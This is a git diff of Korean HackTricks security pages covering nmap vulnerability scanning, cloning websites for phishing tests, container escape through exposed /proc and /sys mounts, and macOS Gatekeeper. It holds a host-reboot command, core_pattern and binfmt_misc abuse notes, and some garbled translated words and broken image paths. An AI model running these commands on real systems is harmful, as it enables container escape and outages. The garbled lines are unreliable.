nmap 스크립트로, 오프라인 데이터베이스(다른 중요한 데이터베이스에서 다운로드한)에서 얻은 서비스 버전을 확인하고 가능한 취약점을 반환합니다.
|
||||
|
||||
사용하는 데이터베이스:
|
||||
|
||||
|
@ -261,24 +261,24 @@ wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar
|
|||
|
||||
## Nmap 서비스 스캔 속도 향상 x16
|
||||
|
||||
[**이 게시물에 따르면**](https://joshua.hu/nmap-speedup-service-scanning-16x) **`/usr/share/nmap/nmap-service-probes`**의 모든 **`totalwaitms`** 값을 **300**으로 수정하여 nmap 서비스 분석 속도를 높일 수 있습니다. 또한, 특별히 정의되지 않은 **`servicewaitms`**를 사용하는 프로브는 기본값인 **`5000`**을 사용합니다. 따라서 각 프로브에 값을 추가하거나 **`service_scan.h`**에서 기본값을 변경하여 **nmap을 컴파일**할 수 있습니다.
|
||||
[**이 게시물**](https://joshua.hu/nmap-speedup-service-scanning-16x)에 따르면, **`/usr/share/nmap/nmap-service-probes`**의 모든 **`totalwaitms`** 값을 **300**으로 수정하여 nmap 서비스 분석 속도를 높일 수 있습니다. 또한, 특별히 정의되지 않은 **`servicewaitms`**를 사용하는 프로브는 기본값인 **`5000`**을 사용합니다. 따라서 각 프로브에 값을 추가하거나 **`service_scan.h`**에서 기본값을 변경하여 **nmap을 컴파일**할 수 있습니다.
|
||||
|
||||
**`/usr/share/nmap/nmap-service-probes`** 파일에서 **`totalwaitms`** 및 **`tcpwrappedms`** 값을 전혀 변경하고 싶지 않다면, **`nmap-service-probes`** 파일의 이러한 값들이 완전히 무시되도록 파싱 코드를 편집할 수 있습니다.
|
||||
**`/usr/share/nmap/nmap-service-probes`** 파일에서 **`totalwaitms`** 및 **`tcpwrappedms`** 값을 전혀 변경하고 싶지 않은 경우, **`nmap-service-probes`** 파일의 구문 분석 코드를 수정하여 이러한 값을 완전히 무시할 수 있습니다.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 팔로우하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,24 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>제로부터 영웨이에로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
|
||||
피싱 평가를 위해 때로는 웹사이트를 완전히 **복제하는 것**이 유용할 수 있습니다.
|
||||
피싱 평가를 위해 때로는 완전히 **웹사이트를 복제**하는 것이 유용할 수 있습니다.
|
||||
|
||||
클론된 웹사이트에 BeEF 후크와 같은 페이로드를 추가하여 사용자의 탭을 "제어"할 수도 있습니다.
|
||||
|
||||
|
@ -33,25 +33,25 @@ wget -mk -nH
|
|||
#https://github.com/imthaghost/goclone
|
||||
goclone <url>
|
||||
```
|
||||
## 사회 공학 도구킷
|
||||
## 사회 공학 도구箱
|
||||
```bash
|
||||
#https://github.com/trustedsec/social-engineer-toolkit
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!</strong></summary>
|
||||
<summary><strong>영웨이 에이더블유에스 해킹을 제로부터 히어로로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
적절한 네임스페이스 격리 없이 `/proc` 및 `/sys`의 노출은 공격 표면 확대 및 정보 노출을 포함한 중요한 보안 위험을 초래할 수 있습니다. 이러한 디렉토리에는 민감한 파일이 포함되어 있으며, 잘못 구성되거나 무단으로 액세스되면 컨테이너 탈출, 호스트 수정 또는 추가 공격을 돕는 정보 제공이 가능합니다. 예를 들어, `-v /proc:/host/proc`를 잘못 마운트하면 경로 기반의 특성으로 인해 AppArmor 보호를 우회할 수 있어 `/host/proc`가 보호되지 않게 됩니다.
|
||||
적절한 네임스페이스 격리 없이 `/proc` 및 `/sys`가 노출되면 공격 표면 확대 및 정보 노출을 포함한 중요한 보안 위험이 발생합니다. 이러한 디렉토리에는 민감한 파일이 포함되어 있으며, 잘못 구성되거나 무단으로 액세스되면 컨테이너 탈출, 호스트 수정 또는 추가 공격을 돕는 정보 제공이 가능합니다. 예를 들어, `-v /proc:/host/proc`를 잘못 마운트하면 경로 기반의 특성으로 인해 AppArmor 보호를 우회할 수 있어 `/host/proc`가 무방비 상태가 됩니다.
|
||||
|
||||
**각 잠재적인 취약점에 대한 자세한 내용은** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**에서 찾을 수 있습니다.**
|
||||
|
||||
|
@ -31,7 +31,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
* [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)에 설명되어 있음.
|
||||
* 첫 128바이트를 인수로 사용하여 코어 파일 생성 시 실행할 프로그램을 정의할 수 있습니다. 파일이 `|`로 시작하면 코드 실행으로 이어질 수 있습니다.
|
||||
* 첫 128바이트를 인수로 사용하여 코어 파일 생성 시 실행할 프로그램을 정의할 수 있습니다. 파일이 파이프 `|`로 시작하면 코드 실행이 가능합니다.
|
||||
* **테스트 및 악용 예시**:
|
||||
|
||||
```bash
|
||||
|
@ -58,13 +58,13 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe에 대한 액세스 확인
|
|||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 따르면 파일 시스템에 대한 옵션 및 정보를 포함합니다.
|
||||
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 따르면 파일 시스템에 대한 옵션 및 정보가 포함되어 있습니다.
|
||||
* 쓰기 액세스는 호스트에 대한 다양한 서비스 거부 공격을 활성화할 수 있습니다.
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
* 매직 넘버에 따라 비네이티브 바이너리 형식에 대한 인터프리터를 등록할 수 있습니다.
|
||||
* `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능하면 특권 상승 또는 루트 쉘 액세스로 이어질 수 있습니다.
|
||||
* `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능한 경우 특권 상승 또는 루트 쉘 액세스로 이어질 수 있습니다.
|
||||
* 관련 악용 및 설명:
|
||||
* [binfmt\_misc를 통한 Poor man's rootkit](https://github.com/toffan/binfmt\_misc)
|
||||
* 깊이 있는 자습서: [비디오 링크](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
@ -78,7 +78,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe에 대한 액세스 확인
|
|||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
* Sysrq 명령을 호출할 수 있게 해주며, 즉시 시스템 재부팅이나 기타 중요한 작업을 유발할 수 있습니다.
|
||||
* Sysrq 명령을 호출할 수 있어 즉시 시스템 재부팅이나 기타 중요한 작업을 유발할 수 있습니다.
|
||||
* **호스트 재부팅 예시**:
|
||||
|
||||
```bash
|
||||
|
@ -92,9 +92,9 @@ echo b > /proc/sysrq-trigger # 호스트 재부팅
|
|||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
* 커널 내보낸 심볼과 그 주소를 나열합니다.
|
||||
* 커널 내보낸 심볼과 그들의 주소를 나열합니다.
|
||||
* 특히 KASLR을 극복하기 위해 커널 악용 개발에 필수적입니다.
|
||||
* `kptr_restrict`가 `1` 또는 `2`로 설정된 경우 주소 정보가 제한됩니다.
|
||||
* 주소 정보는 `kptr_restrict`가 `1` 또는 `2`로 설정된 경우 제한됩니다.
|
||||
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 자세한 내용이 있습니다.
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
@ -106,9 +106,9 @@ echo b > /proc/sysrq-trigger # 호스트 재부팅
|
|||
#### **`/proc/kcore`**
|
||||
|
||||
* ELF 코어 형식으로 시스템의 물리적 메모리를 나타냅니다.
|
||||
* 호스트 시스템 및 다른 컨테이너의 메모리 내용을 누출할 수 있습니다.
|
||||
* 큰 파일 크기는 읽기 문제나 소프트웨어 충돌을 유발할 수 있습니다.
|
||||
* 2019년에 대한 자세한 사용법은 [Dumping /proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 확인할 수 있습니다.
|
||||
* 읽기는 호스트 시스템 및 다른 컨테이너의 메모리 내용을 누출할 수 있습니다.
|
||||
* 대용량 파일 크기는 읽기 문제나 소프트웨어 충돌로 이어질 수 있습니다.
|
||||
* 2019년 [Dumping /proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 자세한 사용법을 확인할 수 있습니다.
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
|
@ -118,7 +118,7 @@ echo b > /proc/sysrq-trigger # 호스트 재부팅
|
|||
#### **`/proc/mem`**
|
||||
|
||||
* 물리적 메모리를 나타내는 `/dev/mem`의 대체 인터페이스입니다.
|
||||
* 모든 메모리의 읽기 및 쓰기를 허용하며, 모든 메모리의 수정에는 가상 주소를 물리 주소로 변환해야 합니다.
|
||||
* 모든 메모리의 읽기 및 쓰기를 허용하며 가상 주소를 물리적 주소로 변환해야 합니다.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
|
@ -180,26 +180,26 @@ cat /output %%%
|
|||
* `debugfs`는 커널에 대한 "규칙 없는" 디버깅 인터페이스를 제공합니다.
|
||||
* 제한이 없는 성격으로 인한 보안 문제의 역사가 있습니다.
|
||||
|
||||
### 참고 자료
|
||||
### References
|
||||
|
||||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,17 +2,17 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고**하고 싶으신가요? 아니면 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하길 원하시나요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 참여**하세요
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -21,23 +21,23 @@
|
|||
|
||||
**Gatekeeper**는 Mac 운영 체제용으로 개발된 보안 기능으로, 사용자가 시스템에서 **신뢰할 수 있는 소프트웨어만 실행**하도록 보장하도록 설계되었습니다. 사용자가 다운로드하고 **앱 스토어 외부 소스**에서 열려고 하는 소프트웨어(앱, 플러그인 또는 설치 프로그램)를 **검증**함으로써 작동합니다.
|
||||
|
||||
Gatekeeper의 주요 메커니즘은 **검증** 프로세스에 있습니다. 다운로드한 소프트웨어가 **인증된 개발자에 의해 서명**되었는지 확인하여 소프트웨어의 신뢰성을 보장합니다. 더 나아가, 소프트웨어가 **Apple에 의해 노타라이즈**되었는지 확인하여 알려진 악성 콘텐츠가 없으며 노타라이즈 이후에 변경되지 않았음을 확인합니다.
|
||||
Gatekeeper의 주요 메커니즘은 **검증** 프로세스에 있습니다. 다운로드한 소프트웨어가 **인식된 개발자에 의해 서명**되었는지 확인하여 소프트웨어의 신뢰성을 보장합니다. 더 나아가, 소프트웨어가 **Apple에 의해 노타라이즈**되었는지 확인하여 알려진 악성 콘텐츠가 없으며 노타라이즈 이후에 변경되지 않았음을 확인합니다.
|
||||
|
||||
게다가, Gatekeeper는 사용자가 다운로드한 소프트웨어의 처음 실행을 승인하도록 사용자에게 **알림**을 강화하여 사용자가 해로운 실행 가능한 코드를 실수로 실행하지 않도록 돕습니다.
|
||||
게다가, Gatekeeper는 사용자가 다운로드한 소프트웨어의 처음 실행을 **승인하도록 사용자에게 알림**을 통해 사용자 제어와 보안을 강화합니다. 이 보호장치는 사용자가 해로운 실행 가능 코드를 무해한 데이터 파일로 오인할 수 있는 상황을 방지하는 데 도움을 줍니다.
|
||||
|
||||
### 애플리케이션 서명
|
||||
|
||||
애플리케이션 서명 또는 코드 서명은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이를 사용하여 소프트웨어 작성자(개발자)의 **신원을 확인**하고 코드가 마지막으로 서명된 이후로 변경되지 않았음을 보장합니다.
|
||||
애플리케이션 서명 또는 코드 서명은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이를 사용하여 소프트웨어 작성자(개발자)의 **신원을 확인**하고 코드가 마지막으로 서명된 이후 변경되지 않았음을 보장합니다.
|
||||
|
||||
작동 방식은 다음과 같습니다:
|
||||
|
||||
1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면 **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 개발자가 Apple 개발자 프로그램에 등록할 때 Apple이 발급하는 **인증서와 관련**되어 있습니다. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 것을 포함합니다.
|
||||
2. **애플리케이션 배포:** 서명된 애플리케이션은 사용자에게 개발자의 인증서와 함께 제공됩니다. 이 인증서에는 해당하는 공개 키가 포함되어 있습니다.
|
||||
3. **애플리케이션 확인:** 사용자가 애플리케이션을 다운로드하고 실행하려고 할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 애플리케이션의 현재 상태를 기반으로 해시를 다시 계산하고 이를 복호화된 해시와 비교합니다. 일치하면, **개발자가 서명한 이후로 애플리케이션이 수정되지 않았음**을 의미하며 시스템은 애플리케이션을 실행할 수 있습니다.
|
||||
1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면, **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 개발자가 Apple 개발자 프로그램에 등록할 때 Apple이 발급하는 **인증서와 관련**되어 있습니다. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 것을 포함합니다.
|
||||
2. **애플리케이션 배포:** 서명된 애플리케이션은 사용자에게 개발자의 인증서와 함께 제공됩니다. 이 인증서에는 해당 공개 키가 포함되어 있습니다.
|
||||
3. **애플리케이션 확인:** 사용자가 애플리케이션을 다운로드하고 실행하려고 할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 애플리케이션의 현재 상태를 기반으로 해시를 다시 계산하고 이를 복호화된 해시와 비교합니다. 일치하면, **애플리케이션이 개발자가 서명한 이후 수정되지 않았음**을 의미하며 시스템은 애플리케이션을 실행할 수 있습니다.
|
||||
|
||||
애플리케이션 서명은 Apple의 Gatekeeper 기술의 중요한 부분입니다. 사용자가 **인터넷에서 다운로드한 애플리케이션을 열려고 시도**할 때, Gatekeeper는 애플리케이션 서명을 확인합니다. Apple이 알려진 개발자에게 발급한 인증서로 서명되었고 코드가 변경되지 않았다면, Gatekeeper는 애플리케이션을 실행할 수 있습니다. 그렇지 않으면 애플리케이션을 차단하고 사용자에게 경고합니다.
|
||||
|
||||
macOS Catalina부터 **Gatekeeper는 애플이 노타라이즈**한지 여부도 확인하여 추가적인 보안 층을 추가합니다. 노타라이즷 프로세스는 애플리케이션을 알려진 보안 문제와 악성 코드로 검사하고 이러한 검사를 통과하면 Apple은 Gatekeeper가 확인할 수 있는 애플리케이션에 티켓을 추가합니다.
|
||||
macOS Catalina부터 **Gatekeeper는 애플이 노타라이즈**한지 여부도 확인하여 추가적인 보안 층을 추가합니다. 노타라이즷 프로세스는 애플리케이션을 알려진 보안 문제와 악성 코드에 대해 확인하고 이러한 검사를 통과하면 Apple은 Gatekeeper가 확인할 수 있는 애플리케이션에 티켓을 추가합니다.
|
||||
|
||||
#### 서명 확인
|
||||
|
||||
|
@ -60,15 +60,15 @@ codesign -s <cert-name-keychain> toolsdemo
|
|||
```
